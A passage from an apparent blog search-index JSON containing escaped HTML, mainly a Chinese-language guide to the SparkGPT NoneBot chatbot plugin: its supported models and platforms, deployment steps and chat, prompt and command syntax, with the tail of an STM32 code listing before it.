class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * where the assert_param error has occurred.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param file: pointer to the source file name\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param line: assert_param error line source number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eassert_failed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the file name and line number,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ex: printf(\u0026#34;Wrong parameters value: file %s on line %d\\r\\n\u0026#34;, file, line) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USE_FULL_ASSERT */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/"},{"title":"SparkGPT","time":"2023-09-10T00:00:00Z","content":"\u003cimg src=\"https://canxin121.github.io/p/sparkgpt/cover.png\" alt=\"Featured image of post SparkGPT\" /\u003e\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"feature\"\u003eFeature\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e使用Nonebot框架跨适配器实现,多聊天平台同步实现\u003c/li\u003e\n\u003cli\u003e支持 QQ, QQ频道, Kook, 飞书, Telegram, Discord\u003c/li\u003e\n\u003cli\u003e支持跨平台账户绑定,多平台账户统一数据\u003c/li\u003e\n\u003cli\u003e适配多来源语言模型, 多态模型\u003c/li\u003e\n\u003cli\u003e实现 多用户, 多会话窗口, 公共会话和私有会话\u003c/li\u003e\n\u003cli\u003e实现 流式输出 , 文转图, 文转网络剪切板链接\u003c/li\u003e\n\u003cli\u003e实现WebUi编辑配置,实时热更新\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"todo\"\u003eToDo\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e负载均衡\u003c/li\u003e\n\u003cli\u003e用户权限系统\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"模型来源支持情况\"\u003e模型来源支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eNewbing\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ePoe\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT Api\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT 网页\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eClaude.Ai\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSlack Claude\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各来源的配置使用均在WebUi中已有详细说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"聊天平台支持情况\"\u003e聊天平台支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ频道\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKook\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e飞书\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eTelegram\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDiscord\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各聊天平台接入,请查看对应的Nonebot适配器使用说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"教程\"\u003e教程\u003c/h2\u003e\n\u003ch3 id=\"基本概念说明\"\u003e基本概念说明\u003c/h3\u003e\n\u003ch4 id=\"会话-chat-\"\u003e会话( chat )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e会话\u003c/code\u003e指的是 一个独立的由指定\u003ccode\u003e模型\u003c/code\u003e驱动的聊天上下文\u003c/p\u003e\n\u003cp\u003e会话的分类如下:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003e\ngraph TD\nChat[\"会话\"]\nPrivateChat[\"私有会话\"]\nPublicChat[\"公有会话\"]\nQPrivateChat[\"QQ的一个和好友的聊天窗口,\\n你们的对话时私有的,\\n别的用户没办法加入到你们的对话中来.\\n为了保证上下文的连贯性,\\n同一个会话必须一问一答.\"]\nQPublicChat[\"QQ的一个群聊窗口, \\n所有用户都可以使用.\\n但用户是提问者,\\n只有一个 语言模型 是回答者,\\n为了保证上下文的连贯性,\\n语言模型只能 一个一个顺序 回答问题,\\n 不能同时回答你们\"]\nChat --\u003e PrivateChat --\u003e |\"类似于\"|QPrivateChat\nChat --\u003e PublicChat --\u003e |\"类似于\"|QPublicChat\n\u003c/pre\u003e\n\u003c!-- 模型开始 --\u003e\n\u003ch4 id=\"模型-model-\"\u003e模型( model )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e模型\u003c/code\u003e指的是驱动\u003ccode\u003e会话\u003c/code\u003e的实际的回复人\n\u003ccode\u003e模型\u003c/code\u003e需要在web ui中配置相关内容才可以启用\u003c/p\u003e\n\u003ch4 id=\"预设-prompt-\"\u003e预设( prompt )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e预设\u003c/code\u003e指每次新对话开始前,优先加载的\u003cstrong\u003e人格\u003c/strong\u003e\u003cbr\u003e\n原理:\u003cbr\u003e\n基本是在\u003ccode\u003e会话\u003c/code\u003e开始前,自动先向会话中发送预设文本,也有特殊的来源会使用其他方法\u003c/p\u003e\n\u003cp\u003e注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 不一定对所有的\u003ccode\u003e模型\u003c/code\u003e都有效,因为有些模型本身会 阻止这种对模型输出行为的干预\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 的字数不是越长越好, 字数也会有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改预设\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 模型结束 --\u003e\n\u003c!-- 指令开始 --\u003e\n\u003ch4 id=\"指令-command-\"\u003e指令( command )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e指令\u003c/code\u003e指自动填充在问题前面的指令,可以用来命令\u003ccode\u003e模型\u003c/code\u003e一定的格式或者要求进行回复\u003c/p\u003e\n\u003cp\u003e原理:\n在发送用户的问题之前,现在用户的问题前面加上\u003ccode\u003e指令\u003c/code\u003e文本,然后再发送过去\n注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e指令\u003c/code\u003e字数有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改指令\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 指令结束 --\u003e\n\u003c!-- 基本使用逻辑开始 --\u003e\n\u003ch3 id=\"基本使用逻辑说明\"\u003e基本使用逻辑说明\u003c/h3\u003e\n\u003cpre class=\"mermaid\"\u003e\ngraph TD\nCU[\"用户\"]\nML[\"获取模型列表\"]\nPL[\"获取预设列表\"]\nCmdL[\"获取指令列表\"]\nCL[\"获取可用会话 (公有 | 私有)\"]\nCAprivate[\"创建新的会话 (私有 | 公有 {仅管理员} ) \"]\nCC[\"使用会话\"]\nCPC[\"回复来继续会话\"]\nCU --\u003e CL\nCU --\u003e ML\nCU --\u003e CmdL\nCU --\u003e PL\nML --\u003e CAprivate\nCmdL --\u003e CAprivate\nPL --\u003e CAprivate\nCL --\u003e CC\nCAprivate --\u003e CC\nCC --\u003e CPC\n\u003c/pre\u003e\n\u003c!-- 基本使用逻辑结束 --\u003e\n\u003ch3 id=\"部署教程\"\u003e部署教程\u003c/h3\u003e\n\u003ch4 id=\"部署nonebot\"\u003e部署Nonebot\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003e这里直接看Well404的教程吧,点击即可跳转到b站系列教程\u003c/strong\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026aid=608028309\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003c/p\u003e\n\u003ch4 id=\"部署各适配器\"\u003e部署各适配器\u003c/h4\u003e\n\u003cp\u003e在这里我直接贴出个适配器的官方使用文档或者合适的教程了\u003c/p\u003e\n\u003ch5 id=\"qqobv11\"\u003eQQ(OBV11)\u003c/h5\u003e\n\u003cp\u003e首先是qsign的部署,这个目前是 必须的\u003c/p\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV11W4y1o7u5\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e然后需要使用 gocq 的dev 版本,这里给出 gocq dev的action地址,可以自行在这里寻找合适的构建版本,\u003cbr\u003e\n而连接到nb的方法在上面的 nonebot部署教程中已经又过了,这里不在放出地址\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/Mrs4s/go-cqhttp/actions/workflows/ci.yml\" target=\"_blank\" rel=\"noopener\"\n\u003egocq-dev Action CL\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"qqguid-qq频道\"\u003eQQGuid (QQ频道)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-qqguild\" target=\"_blank\" rel=\"noopener\"\n\u003eQQ频道适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"kook开黑啦\"\u003eKOOK(开黑啦)\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/Tian-que/nonebot-adapter-kaiheila\" target=\"_blank\" rel=\"noopener\"\n\u003eKOOK(开黑啦)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"飞书\"\u003e飞书\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://feishu.adapters.nonebot.dev/docs/guide/installation\" target=\"_blank\" rel=\"noopener\"\n\u003e飞书(Lark)适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"telegram\"\u003eTelegram\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-telegram\" target=\"_blank\" rel=\"noopener\"\n\u003eTelegram适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch5 id=\"discord\"\u003eDiscord\u003c/h5\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/nonebot/adapter-discord\" target=\"_blank\" rel=\"noopener\"\n\u003eDiscord适配器 gh链接\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"部署spark-gpt\"\u003e部署Spark GPT\u003c/h4\u003e\n\u003ch5 id=\"安装插件\"\u003e安装插件\u003c/h5\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enb plugin install spark_gpt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"配置相关信息\"\u003e配置相关信息\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003eSparkGPT 依赖 \u003ca class=\"link\" href=\"https://github.com/canxin121/nonebot_plugin_web_config\" target=\"_blank\" rel=\"noopener\"\n\u003enonebot_plugin_web_config\u003c/a\u003e 进行实时配置热更新,所以需要配置的相关信息(端口,账号密码),可以点击进入查看相关的env配置.\u003c/li\u003e\n\u003cli\u003eSparkGPT 的GPT来源需要手动配置相应的 auth 信息才可以使用,具体获取方式都均在web ui(默认\u003ca class=\"link\" href=\"http://127.0.0.1:8666\" target=\"_blank\" rel=\"noopener\"\n\u003ehttp://127.0.0.1:8666\u003c/a\u003e)中已经标出,并可以实时热更新.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用教程\"\u003e使用教程\u003c/h3\u003e\n\u003cp\u003e使用教程图片版可以使用 shelp 命令获取.\u003cbr\u003e\n本插件 均采用\u003ca class=\"link\" href=\"https://github.com/nonebot/plugin-alconna\" target=\"_blank\" rel=\"noopener\"\n\u003eAlc\u003c/a\u003e命令形式 进行使用.\u003cbr\u003e\n在下面的文本中,用\u003ccode\u003e{}\u003c/code\u003e来标志 需要替换的变量, 用\u003ccode\u003e()\u003c/code\u003e框起来的为 选填的变量\u003c/p\u003e\n\u003ch4 id=\"会话\"\u003e会话\u003c/h4\u003e\n\u003ch5 id=\"使用公有会话询问\"\u003e使用公有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003epublic_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003cbr\u003e\n3. \u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\n4.\u003c/p\u003e\n\u003ch5 id=\"使用私有会话询问\"\u003e使用私有会话询问\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprivate_command{chat_name} {question} ( {photo} )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话昵称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003equestion\u003c/code\u003e: 问题\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003ephoto\u003c/code\u003e: 需要识别的图片内容,只有model为bing时才可以使用,需要跟随文本信息一同发送\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"创建新的会话\"\u003e创建新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat add -n {chat_name} -m {model} ( -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr\u003e\n使用本地预设,须在预设名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr\u003e\n使用本地指令,须在指令名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"修改新的会话\"\u003e修改新的会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat edit -on {old_name} \\n( -nn {new_name} -m {model} -p {prompt} -c {command} -auto_pic {bool} -num_limit {int} -pic {bool} -url {bool} -stream {bool} -public )\u003c/code\u003e\u003cbr\u003e\n参数:\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003eold_name\u003c/code\u003e: 原来的会话名称\n选填:\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enew_name\u003c/code\u003e: 原来的会话名称\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emodel\u003c/code\u003e: 使用的模型名称或者索引数字\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eprompt\u003c/code\u003e:\u003cbr\u003e\n使用本地预设,须在预设名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义预设,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecommand\u003c/code\u003e:\u003cbr\u003e\n使用本地指令,须在指令名称前加\u0026rsquo;.\u0026lsquo;号\u003cbr\u003e\n使用自定义指令,直接输入内容\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eauto_pic\u003c/code\u003e: 是否当字数过多时自动转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003enum_limit\u003c/code\u003e: 自动转图片的字数上限\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epic\u003c/code\u003e: 是否总是文字转图片\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eurl\u003c/code\u003e: 是否在图片或流式回复时发送全文链接\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003estream\u003c/code\u003e: 是否流式输出,分段发送结果\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是修改共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"获取所有会话的列表\"\u003e获取所有会话的列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat list\u003c/code\u003e\u003c/p\u003e\n\u003ch5 id=\"删除一个会话\"\u003e删除一个会话\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003echat del -n {chat_name} ( -public )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003echat_name\u003c/code\u003e: 会话名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ccode\u003epublic\u003c/code\u003e: 是否是创建共有会话\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"模型\"\u003e模型\u003c/h4\u003e\n\u003ch5 id=\"获取可用模型列表\"\u003e获取可用模型列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003emodel list\u003c/code\u003e\u003c/p\u003e\n\u003ch4 id=\"预设\"\u003e预设\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的预设\"\u003e添加一个新的预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003cli\u003econtent: 预设内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个预设\"\u003e删除一个预设\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看预设列表\"\u003e查看预设列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定预设具体内容\"\u003e查看特定预设具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003eprompt show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 预设名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"指令\"\u003e指令\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的指令\"\u003e添加一个新的指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003cli\u003econtent: 指令内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个指令\"\u003e删除一个指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看指令列表\"\u003e查看指令列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定指令具体内容\"\u003e查看特定指令具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt/"},{"title":"SparkGPT 思路分析","time":"2023-09-10T00:00:00Z","content":"\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" 